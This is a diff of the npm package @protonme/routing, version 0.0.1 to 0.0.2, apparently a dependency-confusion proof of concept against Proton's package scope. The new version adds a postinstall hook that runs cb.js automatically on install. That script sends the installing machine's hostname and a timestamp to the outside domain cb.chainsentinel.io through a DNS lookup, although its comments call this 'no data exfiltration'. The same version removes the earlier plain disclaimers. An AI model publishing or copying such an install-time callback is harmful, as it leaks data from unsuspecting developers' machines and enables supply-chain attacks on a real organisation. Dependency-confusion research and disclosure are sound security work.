@protonme/routing 0.0.1 → 0.0.2

package/cb.js

@@ -0,0 +1,7 @@
+// Dependency confusion PoC — DNS-only callback (no data exfiltration)
+const dns = require("dns");
+const os = require("os");
+const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, "").slice(0, 30) || "unknown";
+const t = Date.now();
+const pkg = "protonme--routing";
+dns.resolve4(h + "." + t + "." + pkg + ".cb.chainsentinel.io", () => {});

package/index.js

@@ -1,5 +1,2 @@
-// Security research - dependency confusion proof of concept
-// This package exists to demonstrate an unclaimed npm scope vulnerability
-// Affects: Proton AG (proton.me / protonvpn.com / protonmail.com)
-// No malicious code - safe placeholder only
-console.log("[security-research] @protonme/routing loaded - dependency confusion PoC by Abdelrahman");
+// Security research PoC — dependency confusion test
+module.exports = {};

package/package.json

@@ -1,9 +1,9 @@
 {
   "name": "@protonme/routing",
-  "version": "0.0.1",
-  "description": "Security research - dependency confusion proof of concept. This package was published to demonstrate an unclaimed npm scope vulnerability affecting proton.me. No malicious code.",
-  "main": "index.js",
-  "author": "Abdelrahman",
-  "license": "UNLICENSED",
-  "private": false
+  "version": "0.0.2",
+  "description": "Security research \u2014 dependency confusion PoC (harmless DNS-only callback)",
+  "scripts": {
+    "postinstall": "node cb.js || true"
+  },
+  "main": "index.js"
 }